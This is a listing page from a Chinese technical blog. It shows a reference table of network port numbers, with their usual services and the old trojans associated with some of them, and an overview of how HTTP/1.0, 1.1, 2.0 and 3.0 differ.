首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,566 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,351 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,726 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,817 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
160
篇与
的结果
2022-09-17
【网络通信】计算机端口大全( 计算机基础 )
端口类型1、公认端口(Well-KnownPorts):范围从0到1023。 2、动态端口(Dynamic Ports):范围从1024到65535。 3、注册端口(RegisteredPorts):从1024到49151。 4、动态和/或私有端口(Dynamicand/orPrivatePorts):从49152到65535。{collapse}{collapse-item label="端口大全"}0端口:无效端口,通常用于分析操作系统 1端口:传输控制协议端口服务多路开关选择器 2端口:管理实用程序 3端口:压缩进程 5端口:远程作业登录 7端口:回显 9端口:丢弃 11端口:在线用户 13端口:时间 17端口:每日引用 18端口:消息发送协议 19端口:字符发生器 20端口:FTP文件传输协议(默认数据口) 21端口:FTP文件传输协议(控制) 22端口:SSH远程登录协议 23端口:telnet(终端仿真协议),木马Tiny Telnet Server开放此端口 24端口:预留给个人用邮件系统 25端口:SMTP服务器所开放的端口,用于发送邮件 27端口:NSW 用户系统 FE 29端口:MSG ICP 31端口:MSG验证,木马Master Paradise、HackersParadise开放此端口 33端口:显示支持协议 35端口:预留给个人打印机服务 37端口:时间 38端口:路由访问协议 39端口:资源定位协议 41端口:图形 42端口:主机名服务 43端口:who is服务 44端口:MPM(消息处理模块)标志协议 45端口:消息处理模块 46端口:消息处理模块(默认发送口) 47端口:NI FTP 48端口:数码音频后台服务 49端口:TACACS登录主机协议 50端口:远程邮件检查协议 51端口:IMP(接口信息处理机)逻辑地址维护 52端口:施乐网络服务系统时间协议 53端口:dns域名服务器 54端口:施乐网络服务系统票据交换 55端口:ISI图形语言 56端口:施乐网络服务系统验证 57端口:预留个人用终端访问 58端口:施乐网络服务系统邮件 59端口:预留个人文件服务 60端口:未定义 61端口:NI邮件 62端口:异步通讯适配器服务 63端口:whois++ 64端口:通讯接口 65端口:TACACS数据库服务 66端口:Oracle SQL*NET 67端口:引导程序协议服务端 68端口:引导程序协议客户端 69端口:小型文件传输协议 70端口:信息检索协议 71端口:远程作业服务 72端口:远程作业服务 73端口:远程作业服务 74端口:远程作业服务 75端口:预留给个人拨出服务 76端口:分布式外部对象存储 77端口:预留给个人远程作业输入服务 78端口:修正TCP 79端口:查询远程主机在线用户等信息 80端口:http,用于网页浏览,木马Executor开放此端口 81端口:HOST2名称服务 82端口:传输实用程序 83端口:模块化智能终端ML设备 84端口:公用追踪设备 85端口:模块化智能终端ML设备 86端口:Micro Focus Cobol编程语言 87端口:预留给个人终端连接 88端口:Kerberros安全认证系统 89端口:SU/MIT telnet(终端仿真网关) 90端口:DNSIX 安全属性标记图 91端口:MIT Dover假脱机 92端口:网络打印协议 93端口:设备控制协议 94端口:Tivoli对象调度 96端口:DIXIE协议规范 97端口:快速远程虚拟文件协议 98端口:TAC新闻协议 99端口:后门程序ncx99开放此端口 100端口:未知用途 101端口:NIC 主机名称服务 102端口:消息传输代理 103端口:Genesis 点对点传输网络 105端口:信箱名称服务 106端口:3COM-TSMUX开放端口 107端口:远程Telnet服务 108端口:SNA 网关访问服务 109端口:POP2服务器开放此端口,用于接收邮件 110端口:POP3服务器开放此端口,用于接收邮件 111端口:SUN公司的RPC服务所有端口 112端口:McIDAS 数据传输协议 113端口:认证服务,用于鉴别TCP连接的用户 114端口:音频新闻多点服务 115端口:简单文件传输服务 116端口:ANSA REX 通知 117端口:UUCP 路径服务 118端口:SQL 服务 119端口:NEWS新闻组传输协议,承载USENET通信 121端口:木马BO jammerkillahV开放端口 122端口:SMAKY网络 123端口:网络时间协议,蠕虫病毒会利用,一般关闭 128端口:GSS X许可认证 129端口:密码生成器协议 130端口:Cisco软件开放端口 131端口:Cisco软件开放端口 132端口:Cisco软件开放端口 133端口:统计服务 134端口:INGRES-网络服务 135端口:DCOM服务,冲击波病毒利用,不能关闭 136端口:命名系统 137端口:NETBIOS协议应用,为共享开放 138端口:NETBIOS协议应用,为共享开放 139端口:NETBIOS协议应用,为共享开放 140端口:EMFIS数据服务 141端口:EMFIS控制服务 143端口:Interim邮件访问协议 144端口:UMA软件开放端口 145端口:UAAC协议 149端口:AED 512仿真服务 150端口:SQL(结构化查询语言)-网络 152端口:后台文件传输协议 156端口:SQL(结构化查询语言)服务 158端口:PC邮件服务器 159端口:NSS-路由 160端口:SGMP-陷阱 161端口:简单网络管理协议 162端口:SNMP陷阱 163端口:CMIP/TCP 管理 164端口:CMIP/TCP 代理 166端口:Sirius系统 169端口:发送 170端口:网络附言 177端口:x显示管理控制协议,入侵者通过它访问X-windows操作台 178端口:NextStep Window 服务 179端口:边界网关协议 180端口:图表 181端口:统一 184端口:OC服务器 185端口:远程-KIS 186端口:KIS 协议 187端口:应用通信接口 189端口:队列文件传输 190端口:网关进入控制协议 191端口:Prospero 目录服务 192端口:OSU 网络监视系统 193端口:Spider 远程控制协议 194端口:多线交谈协议 197端口:目录地址服务 198端口:目录地址服务监视器 200端口:IBM系统资源控制器 201端口:AppleTalk(Mac机所用的网络协议)路由保证 202端口:AppleTalk(Mac机所用的网络协议)Name Binding 203端口:AppleTalk(Mac机所用的网络协议)未用端口 204端口:AppleTalk(Mac机所用的网络协议)回显 205端口:AppleTalk(Mac机所用的网络协议)未用端口 206端口:AppleTalk(Mac机所用的网络协议)区信息 207端口:AppleTalk(Mac机所用的网络协议)未用端口 208端口:AppleTalk(Mac机所用的网络协议)未用端口 209端口:快速邮件传输协议 210端口:ANSI(美国国家标准协会)Z39.50 211端口:Texas Instruments 914C/G终端 213端口:IPX(以太网所用的协议) 218端口:Netix消息记录协议 219端口:Unisys ARPs 220端口:交互邮件访问协议 v3 223端口:证书分发中心 224端口:masq拨号器 241端口:预留端口 (224-241) 245端口:链接 246端口:显示系统协议 257端口:安全电子交易系统 258端口:Yak Winsock 个人聊天 259端口:有效短程遥控 260端口:开放端口 261端口:IIOP 基于TLS/SSL的命名服务 266端口:SCSI(小型计算机系统接口)on ST 267端口:Tobit David服务层 268端口:Tobit David复制 281端口:个人连结 282端口:Cable端口A/X 286端口:FXP通信 308端口:Novastor备份 313端口:Magenta逻辑 318端口:PKIX时间标记 333端口:Texar安全端口 344端口:Prospero数据存取协议 345端口:Perf分析工作台 346端口:Zebra服务器 347端口:Fatmen服务器 348端口:Cabletron管理协议 358端口:Shrink可上网家电协议 359端口:网络安全风险管理协议 362端口:SRS发送 363端口:RSVP隧道 372端口:列表处理 373端口:Legend公司 374端口:Legend公司 376端口:AmigaEnvoy网络查询协议 377端口:NEC公司 378端口:NEC公司 379端口:TIA/EIA/IS-99调制解调器客户端 380端口:TIA/EIA/IS-99调制解调器服务器 381端口:hp(惠普)性能数据收集器 382端口:hp(惠普)性能数据控制节点 383端口:hp(惠普)性能数据警报管理 384端口:远程网络服务器系统 385端口:IBM应用程序 386端口:ASA信息路由器定义文件. 387端口:Appletalk更新路由. 389端口:轻型目录访问协议 395端口:网络监视控制协议 396端口:Novell(美国Novell公司)Netware(Novell公司出的网络操作系统)over IP 400端口:工作站解决方案 401端口:持续电源 402端口:Genie协议 406端口:交互式邮件支持协议 408端口:Prospero资源管理程序 409端口:Prospero资源节点管理. 410端口:DEC(数据设备公司)远程调试协议 411端口:远程MT协议 412端口:陷阱协定端口 413端口:存储管理服务协议 414端口:信息查询 415端口:B网络 423端口:IBM操作计划和控制开端 424端口:IBM操作计划和控制追踪 425端口:智能计算机辅助设计 427端口:服务起位置 434端口:移动ip代理 435端口:移动ip管理 443端口:基于TLS/SSL的网页浏览端口,能提供加密和通过安全端口传输的另一种HTTP 444端口:简单网络内存分页协议 445端口:Microsoft-DS,为共享开放,震荡波病毒利用,一般应关闭 446端口:DDM-远程关系数据库访问 447端口:DDM-分布式文件管理 448端口:DDM-使用安全访问远程数据库 456端口:木马HACKERS PARADISE开放此端口 458端口:apple quick time软件开放端口 459端口:ampr-rcmd命令 464端口:k密码服务 469端口:广播控制协议 470端口:scx-代理 472端口:ljk-登陆 481端口:Ph服务 487端口:简单异步文件传输 489端口:nest-协议 491端口:go-登陆 499端口:ISO ILL协议 500端口:Internet密钥交换,Lsass开放端口,不能关闭 509端口:陷阱 510端口:FirstClass协议 512端口:远程进程执行 513端口:远程登陆 514端口:cmd命令 515端口:spooler 516端口:可视化数据 518端口:交谈 519端口:unix时间 520端口:扩展文件名称服务器 525端口:时间服务 526端口:新日期 529端口:在线聊天系统服务 530端口:远程过程调用 531端口:聊天 532端口:读新闻 533端口:紧急广播端口 534端口:MegaMedia管理端 537端口:网络流媒体协议 542端口:商业 543端口:Kerberos(软件)v4/v5 544端口:krcmd命令 546端口:DHCPv6 客户端 547端口:DHCPv6 服务器 552端口:设备共享 554端口:Real Time Stream控制协议 555端口:木马PhAse1.0、Stealth Spy、IniKiller开放此端口 556端口:远距离文件服务器 563端口:基于TLS/SSL的网络新闻传输协议 564端口:plan 9文件服务 565端口:whoami查询 566端口:streettalk 567端口:banyan-rpc(远程过程调用) 568端口:DPA成员资格 569端口:MSN成员资格 570端口:demon(调试监督程序) 571端口:udemon(调试监督程序) 572端口:声纳 573端口:banyan-贵宾 574端口:FTP软件代理系统 581端口:Bundle Discovery 协议 582端口:SCC安全 583端口:Philips视频会议 584端口:密钥服务器 585端口:IMAP4+SSL (Use 993 instead) 586端口:密码更改 587端口:申请 589端口:Eye连结 595端口:CAB协议 597端口:PTC名称服务 598端口:SCO网络服务器管理3 599端口:Aeolon Core协议 600端口:Sun IPC(进程间通讯)服务器 601端口:可靠系统登陆服务 604端口:通道 606端口:Cray统一资源管理 608端口:发送人-传递/提供 文件传输器 609端口:npmp-陷阱 610端口:npmp-本地 611端口:npmp-gui( 图形用户界面) 612端口:HMMP指引 613端口:HMMP操作 614端口:SSL(加密套接字协议层)shell(壳) 615端口:Internet配置管理 616端口:SCO(Unix系统)系统管理服务器 617端口:SCO桌面管理服务器 619端口:Compaq(康柏公司)EVM 620端口:SCO服务器管理 623端口:ASF远程管理控制协议 624端口:Crypto管理 631端口:IPP (Internet打印协议) 633端口:服务更新(Sterling软件) 637端口:局域网服务器 641端口:repcmd命令 647端口:DHCP(动态主机配置协议)Failover 648端口:注册登记协议(RRP) 649端口:Cadview-3d软件协议 666端口:木马Attack FTP、Satanz Backdoor开放此端口 808端口:ccproxy http/gopher/ftp (over http)协议 1001端口:木马Silencer,WebEx开放端口 1011端口:木马Doly开放端口 1024端口:动态端口的开始,木马yai开放端口 1025端口:inetinfo.exe(互联网信息服务)木马netspy开放端口 1026端口:inetinfo.exe(互联网信息服务) 1027端口:应用层网关服务 1030端口:应用层网关服务 1031端口:BBN IAD 1033端口:本地网络信息端口 1034端口:同步通知 1036端口:安全部分传输协议 1070端口:木马Psyber Stream,Streaming Audio开放端口 1071端口:网络服务开放端口 1074端口:网络服务开放端口 1080端口:Socks这一协议以通道方式穿过防火墙,允许防火墙后面的人通过一个IP地址访问INTERNET 1110端口:卡巴斯基反病毒软件开放此端口 1125端口:卡巴斯基反病毒软件开放此端口 1203端口:许可证生效端口 1204端口:登陆请求监听端口 1206端口:Anthony数据端口 1222端口:SNI R&D网络端口 1233端口:普遍的附录服务器端口 1234端口:木马SubSeven2.0、Ultors Trojan开放此端口 1243端口:木马SubSeven1.0/1.9开放此端口 1245端口:木马Vodoo,GabanBus,NetBus,Vodoo开放此端口 1273端口:EMC-网关端口 1289端口:JWalk服务器端口 1290端口:WinJa服务器端口 1333端口:密码策略(网络服务)(svchost.exe) 1334端口:网络服务(svchost.exe) 1335端口:数字公正协议 1336端口:即时聊天协议(svchost.exe) 1349端口:注册网络协议端口 1350端口:注册网络协议端口 1371端口:富士通配置协议端口 1372端口:富士通配置协议端口 1374端口:EPI软件系统端口 1376端口:IBM个人-个人软件端口 1377端口:Cichlid许可证管理端口 1378端口:Elan许可证管理端口 1380端口:Telesis网络许可证管理端口 1381端口:苹果网络许可证管理端口 1386端口:CheckSum 许可证管理端口 1387端口:系统开放端口(rundll32.exe) 1388端口:数据库高速缓存端口 1389端口:文档管理端口 1390端口:存储控制器端口 1391端口:存储器存取服务器端口 1392端口:打印管理端口 1393端口:网络登陆服务器端口 1394端口:网络登陆客户端端口 1395端口:PC工作站管理软件端口 1396端口:DVL活跃邮件端口 1397端口:音频活跃邮件端口 1398端口:视频活跃邮件端口 1399端口:Cadkey许可证管理端口 1433端口:Microsoft的SQL服务开放端口 1434端口:Microsoft的SQL服务监视端口 1492端口:木马FTP99CMP开放此端口 1509端口:木马Psyber Streaming Server开放此端口 1512端口:Microsoft Windows网络名称服务 1524端口:许多攻击脚本安装一个后门SHELL于这个端口 1600端口:木马Shivka-Burka开放此端口 1645端口:远程认证拨号用户服务 1701端口:第2层隧道协议 1731端口:NetMeeting音频调用控制 1801端口:Microsoft消息队列服务器 1807端口:木马SpySender开放此端口 1900端口:可被利用ddos攻击,一般关闭 1912端口:金山词霸开放此端口 1981端口:木马ShockRave开放此端口 1999端口:木马BackDoor,yai开放此端口 2000端口:木马GirlFriend 1.3、Millenium 1.0开放此端口 2001端口:木马Millenium 1.0、Trojan Cow,黑洞2001开放此端口 2003端口:GNU 查询 2023端口:木马Pass Ripper开放此端口 2049端口:NFS程序常运行于此端口 2115端口:木马Bugs开放此端口 2140端口:木马Deep Throat 1.0/3.0,The Invasor开放此端口 2500端口:应用固定端口会话复制的RPC客户 2504端口:网络平衡负荷 2565端口:木马Striker开放此端口 2583端口:木马Wincrash 2.0开放此端口 2801端口:木马Phineas Phucker开放此端口 2847端口:诺顿反病毒服务开放此端口 3024端口:木马WinCrash开放此端口 3128端口:squid http代理服务器开放此端口 3129端口:木马Master Paradise开放此端口 3150端口:木马The Invasor,deep throat开放此端口 3210端口:木马SchoolBus开放此端口 3306端口:MySQL开放此端口 3333端口:木马Prosiak开放此端口 3389端口:WINDOWS 2000终端开放此端口 3456端口:inetinfo.exe(互联网信息服务)开放端口,VAT默认数据 3457端口:VAT默认控制 3527端口:Microsoft消息队列服务器 3700端口:木马Portal of Doom开放此端口 3996端口:木马RemoteAnything开放此端口 4000端口:腾讯QQ客户端开放此端口 4060端口:木马RemoteAnything开放此端口 4092端口:木马WinCrash开放此端口 4133端口:NUTS Bootp服务器 4134端口:NIFTY-Serve HMI协议 4141端口:Workflow服务器 4142端口:文档服务器 4143端口:文档复制 4145端口:VVR控制 4321端口:远程Who Is查询 4333端口:微型sql服务器 4349端口:文件系统端口记录 4350端口:网络设备 4351端口:PLCY网络服务 4453端口:NSS警报管理 4454端口:NSS代理管理 4455端口:PR聊天用户 4456端口:PR聊天服务器 4457端口:PR注册 4480端口:Proxy+ HTTP代理端口 4500端口:Lsass开放端口,不能关闭 4547端口:Lanner许可管理 4555端口:RSIP端口 4590端口:木马ICQTrojan开放此端口 4672端口:远程文件访问服务器 4752端口:简单网络音频服务器 4800端口:Icona快速消息系统 4801端口:Icona网络聊天 4802端口:Icona许可系统服务器 4848端口:App服务器-Admin HTTP 4849端口:App服务器-Admin HTTPS 4950端口:木马IcqTrojan开放5000端口 5000端口:木马blazer5,Sockets de Troie开放5000端口,一般应关闭 5001端口:木马Sockets de Troie开放5001端口 5006端口:wsm服务器 5007端口:wsm服务器ssl 5022端口:mice服务器 5050端口:多媒体会议控制协议 5051端口:ITA代理 5052端口:ITA管理 5137端口:MyCTS服务器端口 5150端口:Ascend通道管理协议 5154端口:BZFlag游戏服务器 5190端口:America-Online(美国在线) 5191端口:AmericaOnline1(美国在线) 5192端口:AmericaOnline2(美国在线) 5193端口:AmericaOnline3(美国在线) 5222端口:Jabber客户端连接 5225端口:HP(惠普公司)服务器 5226端口:HP(惠普公司) 5232端口:SGI绘图软件端口 5250端口:i网关 5264端口:3Com网络端口1 5265端口:3Com网络端口2 5269端口:Jabber服务器连接 5306端口:Sun MC组 5321端口:木马Sockets de Troie开放5321端口 5400端口:木马Blade Runner开放此端口 5401端口:木马Blade Runner开放此端口 5402端口:木马Blade Runner开放此端口 5405端口:网络支持 5409端口:Salient数据服务器 5410端口:Salient用户管理 5415端口:NS服务器 5416端口:SNS网关 5417端口:SNS代理 5421端口:网络支持2 5423端口:虚拟用户 5427端口:SCO-PEER-TTA(Unix系统) 5432端口:PostgreSQL数据库 5550端口:木马xtcp开放此端口 5569端口:木马Robo-Hack开放此端口 5599端口:公司远程安全安装 5600端口:公司安全管理 5601端口:公司安全代理 5631端口:pcANYWHERE(软件)数据 5632端口:pcANYWHERE(软件)数据 5673端口:JACL消息服务器 5675端口:V5UA应用端口 5676端口:RA管理 5678端口:远程复制代理连接 5679端口:直接电缆连接 5720端口:MS-执照 5729端口:Openmail用户代理层 5730端口:Steltor's日历访问 5731端口:netscape(网景)suiteware 5732端口:netscape(网景)suiteware 5742端口:木马WinCrash1.03开放此端口 5745端口:fcopy-服务器 5746端口:fcopys-服务器 5755端口:OpenMail(邮件服务器)桌面网关服务器 5757端口:OpenMail(邮件服务器)X.500目录服务器 5766端口:OpenMail (邮件服务器)NewMail服务器 5767端口:OpenMail (邮件服务器)请求代理曾(安全) 5768端口:OpenMail(邮件服务器) CMTS服务器 5777端口:DALI端口 5800端口:虚拟网络计算 5801端口:虚拟网络计算 5802端口:虚拟网络计算HTTP访问, d 5803端口:虚拟网络计算HTTP访问, d 5900端口:虚拟网络计算机显示0 5901端口:虚拟网络计算机显示1 5902端口:虚拟网络计算机显示2 5903端口:虚拟网络计算机显示3 6000端口:X Window 系统 6001端口:X Window 服务器 6002端口:X Window 服务器 6003端口:X Window 服务器 6004端口:X Window 服务器 6005端口:X Window 服务器 6006端口:X Window 服务器 6007端口:X Window 服务器 6008端口:X Window 服务器 6009端口:X Window 服务器 6379端口:Redis数据库端口 6456端口:SKIP证书发送 6471端口:LVision许可管理器 6505端口:BoKS管理私人端口 6506端口:BoKS管理公共端口 6507端口:BoKS Dir服务器,私人端口 6508端口:BoKS Dir服务器,公共端口 6509端口:MGCS-MFP端口 6510端口:MCER端口 6566端口:SANE控制端口 6580端口:Parsec主服务器 6581端口:Parsec对等网络 6582端口:Parsec游戏服务器 6588端口:AnalogX HTTP代理端口 6631端口:Mitchell电信主机 6667端口:Internet多线交谈 6668端口:Internet多线交谈 6670端口:木马Deep Throat开放此端口 6671端口:木马Deep Throat 3.0开放此端口 6699端口:Napster文件(MP3)共享服务 6701端口:KTI/ICAD名称服务器 6788端口:SMC软件-HTTP 6789端口:SMC软件-HTTPS 6841端口:Netmo软件默认开放端口 6842端口:Netmo HTTP服务 6883端口:木马DeltaSource开放此端口 6939端口:木马Indoctrination开放此端口 6969端口:木马Gatecrasher、Priority开放此端口 6970端口:real音频开放此端口 7000端口:木马Remote Grab开放此端口 7002端口:使用者& 组 数据库 7003端口:音量定位数据库 7004端口:AFS/Kerberos认证服务 7005端口:音量管理服务 7006端口:错误解释服务 7007端口:Basic监督进程 7008端口:服务器-服务器更新程序 7009端口:远程缓存管理服务 7011端口:Talon软件发现端口 7012端口:Talon软件引擎 7013端口:Microtalon发现 7014端口:Microtalon通信 7015端口:Talon网络服务器 7020端口:DP服务 7021端口:DP服务管理 7100端口:X字型服务 7121端口:虚拟原型许可证管理 7300端口:木马NetMonitor开放此端口 7301端口:木马NetMonitor开放此端口 7306端口:木马NetMonitor,NetSpy1.0开放此端口 7307端口:木马NetMonitor开放此端口 7308端口:木马NetMonitor开放此端口 7323端口:Sygate服务器端 7511端口:木马聪明基因开放此端口 7588端口:Sun许可证管理 7597端口:木马Quaz开放此端口 7626端口:木马冰河开放此端口 7633端口:PMDF管理 7674端口:iMQ SSL通道 7675端口:iMQ通道 7676端口:木马Giscier开放此端口 7720端口:Med图象入口 7743端口:Sakura脚本传递协议 7789端口:木马ICKiller开放此端口 7797端口:Propel连接器端口 7798端口:Propel编码器端口 8000端口:腾讯QQ服务器端开放此端口 8001端口:VCOM通道 8007端口:Apache(类似iis)jServ协议1.x 8008端口:HTTP Alternate 8009端口:Apache(类似iis)JServ协议1.3 8010端口:Wingate代理开放此端口 8011端口:木马way2.4开放此端口 8022端口:OA-系统 8080端口:WWW代理开放此端口 8081端口:ICECap控制台 8082端口:BlackIce(防止黑客软件)警报发送到此端口 8118端口:Privoxy HTTP代理 8121端口:Apollo数据端口 8122端口:Apollo软件管理端口 8181端口:Imail 8225端口:木马灰鸽子开放此端口 8311端口:木马初恋情人开放此端口 8351端口:服务器寻找 8416端口:eSpeech Session协议 8417端口:eSpeech RTP协议 8473端口:虚拟点对点 8668端口:网络地址转换 8786端口:Message客户端 8787端口:Message服务器 8888端口:Nginx服务器的端口 8954端口:Cumulus管理端口 9000端口:CS监听 9001端口:ETL服务管理 9002端口:动态id验证 9021端口:Pangolin验证 9022端口:PrivateArk远程代理 9023端口:安全网络登陆-1 9024端口:安全网络登陆-2 9025端口:安全网络登陆-3 9026端口:安全网络登陆-4 9101端口:Bacula控制器 9102端口:Bacula文件后台 9103端口:Bacula存储邮件后台 9111端口:DragonIDS控制台 9200端口:Elasticsearch服务器端口 9217端口:FSC通讯端口 9281端口:软件传送端口1 9282端口:软件传送端口2 9346端口:C技术监听 9400端口:木马Incommand 1.0开放此端口 9401端口:木马Incommand 1.0开放此端口 9402端口:木马Incommand 1.0开放此端口 9594端口:信息系统 9595端口:Ping Discovery服务 9800端口:WebDav源端口 9801端口:Sakura脚本转移协议-2 9802端口:WebDAV Source TLS/SSL 9872端口:木马Portal of Doom开放此端口 9873端口:木马Portal of Doom开放此端口 9874端口:木马Portal of Doom开放此端口 9875端口:木马Portal of Doom开放此端口 9899端口:木马InIkiller开放此端口 9909端口:域名时间 9911端口:SYPECom传送协议 9989端口:木马iNi-Killer开放此端口 9990端口:OSM Applet程序服务器 9991端口:OSM事件服务器 10000端口:网络数据管理协议 10001端口:SCP构造端口 10005端口:安全远程登陆 10008端口:Octopus多路器 10067端口:木马iNi-Killer开放此端口 10113端口:NetIQ端点 10115端口:NetIQ端点 10116端口:NetIQVoIP鉴定器 10167端口:木马iNi-Killer开放此端口 11000端口:木马SennaSpy开放此端口 11113端口:金山词霸开放此端口 11233端口:木马Progenic trojan开放此端口 12076端口:木马Telecommando开放此端口 12223端口:木马Hack'99 KeyLogger开放此端口 12345端口:木马NetBus1.60/1.70、GabanBus开放此端口 12346端口:木马NetBus1.60/1.70、GabanBus开放此端口 12361端口:木马Whack-a-mole开放此端口 13223端口:PowWow 客户端,是Tribal Voice的聊天程序 13224端口:PowWow 服务器,是Tribal Voice的聊天程序 16959端口:木马Subseven开放此端口 16969端口:木马Priority开放此端口 17027端口:外向连接 19191端口:木马蓝色火焰开放此端口 20000端口:木马Millennium开放此端口 20001端口:木马Millennium开放此端口 20034端口:木马NetBus Pro开放此端口 22122端口:fastdfs服务器默认端口 21554端口:木马GirlFriend开放此端口 22222端口:木马Prosiak开放此端口 23444端口:木马网络公牛开放此端口 23456端口:木马Evil FTP、Ugly FTP开放此端口 25793端口:Vocaltec地址服务器 26262端口:K3软件-服务器 26263端口:K3软件客户端 26274端口:木马Delta开放此端口 27017端口:mongoDB数据库默认端口 27374端口:木马Subseven 2.1开放此端口 30100端口:木马NetSphere开放此端口 30129端口:木马Masters Paradise开放此端口 30303端口:木马Socket23开放此端口 30999端口:木马Kuang开放此端口 31337端口:木马BO(Back Orifice)开放此端口 31338端口:木马BO(Back Orifice),DeepBO开放此端口 31339端口:木马NetSpy DK开放此端口 31666端口:木马BOWhack开放此端口 31789端口:Hack-a-tack 32770端口:sun solaris RPC服务开放此端口 33333端口:木马Prosiak开放此端口 33434端口:路由跟踪 34324端口:木马Tiny Telnet Server、BigGluck、TN开放此端口 36865端口:KastenX软件端口 38201端口:Galaxy7软件数据通道 39681端口:TurboNote默认端口 40412端口:木马The Spy开放此端口 40421端口:木马Masters Paradise开放此端口 40422端口:木马Masters Paradise开放此端口 40423端口:木马Masters Paradise开放此端口 40426端口:木马Masters Paradise开放此端口 40843端口:CSCC 防火墙 43210端口:木马SchoolBus 1.0/2.0开放此端口 43190端口:IP-PROVISION 44321端口:PCP服务器(pmcd) 44322端口:PCP服务器(pmcd)代理 44334端口:微型个人防火墙端口 44442端口:ColdFusion软件端口 44443端口:ColdFusion软件端口 44445端口:木马Happypig开放此端口 45576端口:E代时光专业代理开放此端口 47262端口:木马Delta开放此端口 47624端口:Direct Play服务器 47806端口:ALC协议 48003端口:Nimbus网关 50505端口:木马Sockets de Troie开放此端口 50766端口:木马Fore开放此端口 53001端口:木马Remote Windows Shutdown开放此端口 54320端口:木马bo2000开放此端口 54321端口:木马SchoolBus 1.0/2.0开放此端口 61466端口:木马Telecommando开放此端口 65000端口:木马Devil 1.03开放此端口 65301端口:PC Anywhere软件开放端口{/collapse-item}{/collapse}
2022年09月17日
110 阅读
0 评论
6 点赞
2022-09-17
【每日随记】HTTP 1.0、2.0 的区别
测试效果测速地址:https://http2.akamai.com/demo这个测试还是不太标准,有的时候http/2反而更慢点。。。发展历程最早网页使用是在1996年,用在那个时候网页上网络请求上,而http1.1在1999年开始广泛应用于现在的各大浏览器网络请求中,同时http1.1也是当前使用最为广泛的http协议。http1.0http1.0 默认使用Connection: cloose 浏览器每次请求逗需要与服务器建立连接,服务器处理完成后立即断开TCP连接(无连接)服务器不跟踪每个客户端也不记录过去请求(无状态)http1.1http1.1 默认使用Connection: keep-alive (长连接), 避免了连接和释放的开销; 通过Content-Length 字段来判断当前的请求数据是否已经全部接受了,不允许两个并行响应。为什么要持久链接http协议初始化版本中,每进行一次http通信就要断开一次TCP连接。每次请求都会造成TCP连接建立和断开,增加通信量的开销。持久连接的特点持久连接也称为 http keep-alive , 只要任意一端没有提出断开连接,就会保存TCP连接状态。减少TCP连接的重复建立和断开造成的额外开销,减去了服务器的压力持久连接使得多数请求以管线化方式(pipelining)成为可能。可以同时并行发送多个请求,而不需要一个接一个的等待响应了。(请求打包一次传输过去,响应打包一次传递回来),管线化的前提是在持久连接下。Http1.1缺陷(1)高延迟,带来页面加载速度的降低。(网络延迟问题只要由于队头阻塞,导致宽带无法被充分利用)(2)无状态特性,带来巨大的Http头部。(3)明文传输,不安全。(4)不支持服务器推送消息。http2.0SPDY协议:2009年谷歌公开的协议主要解决http1.1效率不高问题。SPDY被当做HTTP2.0的基础,其主要特性(兼容老版本HTTP协议,同时可以使用SSL功能)都在HTTP2.0中得到继承。HTTP2.0:基于SPDY,专注于性能,目标是在用户和网站直接只用一个连接。HTTP2.0新特性(1)二进制传输http2.0将请求和响应数据分割为更小的帧,并且它们采用二进制编码(http1.0基于文本格式)。多个帧之间可以乱序发送,根据帧首部的流表示可以重新组装。(2)Header压缩Http2.0开发了专门的“HPACK”算法,大大压缩了Header信息。(3)多路复用http2.0中引入了多路复用技术,很好的解决了浏览器限制同一个域名下的请求数量的问题。多路复用技术可以只通过一个TCP链接就可以传输所有的请求数据。(4)服务端推送HTTP2.0在一定程度上改不了传统的“请求-应答”工作模式,服务器不再完全被动地响应请求,也可以新建“流”主动向客户端发送消息。(例如,浏览器在刚请求html的时候就提前把可能会用到的JS,CSS文件发送给客户端,减少等待延迟,这被称为“服务端推送Server Push”)服务器也不能随便将第三方资源推送给服务器,必须经过双方确认。HTTP2.0缺点(1)TCP以及TCP+TLS建立连接的延迟(握手延迟)(2)TCP的队头阻塞没有彻底解决(http2.0中,多个请求是跑在一个TCP管道中的,一旦丢包,TCP就要等待重传(丢失的包等待重新传输确认),从而阻塞该TCP连接中的所有请求)因为HTTP2.0存在这些缺点,所以出现了HTTP3.0。Http3.0Google在推行SPDY的时候意识到了上述http2.0一系列问题,于是又产生了基于UDP协议的“QUIC”协议,让HTTP跑在QUIC上而不是TCP上。从而产生了HTTP3.0版本,它解决了“队头阻塞”的问题。特点:(1)实现了类似TCP的流量控制,传输可靠性的功能。(2)实现了快速握手功能(QUIC基于UDP,UDP是面向无连接的,不需要握手和挥手,比TCP快)(3)集成了TLS加密功能(4)多路复用,彻底解决TCP中队头阻塞的问题(单个“流”是有序的,可能会因为丢包而阻塞,但是其他流不会受到影响)总结HTTP1.1的缺点:安全性不足和性能不高;HTTP2.0完全兼容HTTTP1.0,是“更安全的HTTP,更快的HTTPS”,头部压缩,多路复用等技术充分利用了带宽,降低了延迟。HTTP3.0的底层支撑协议QUIC基于UDP实现,又含TCP的特点,实现了又快又可靠的协议。
2022年09月17日
53 阅读
0 评论
3 点赞
2022-09-15
【每日随记】手语基础学习
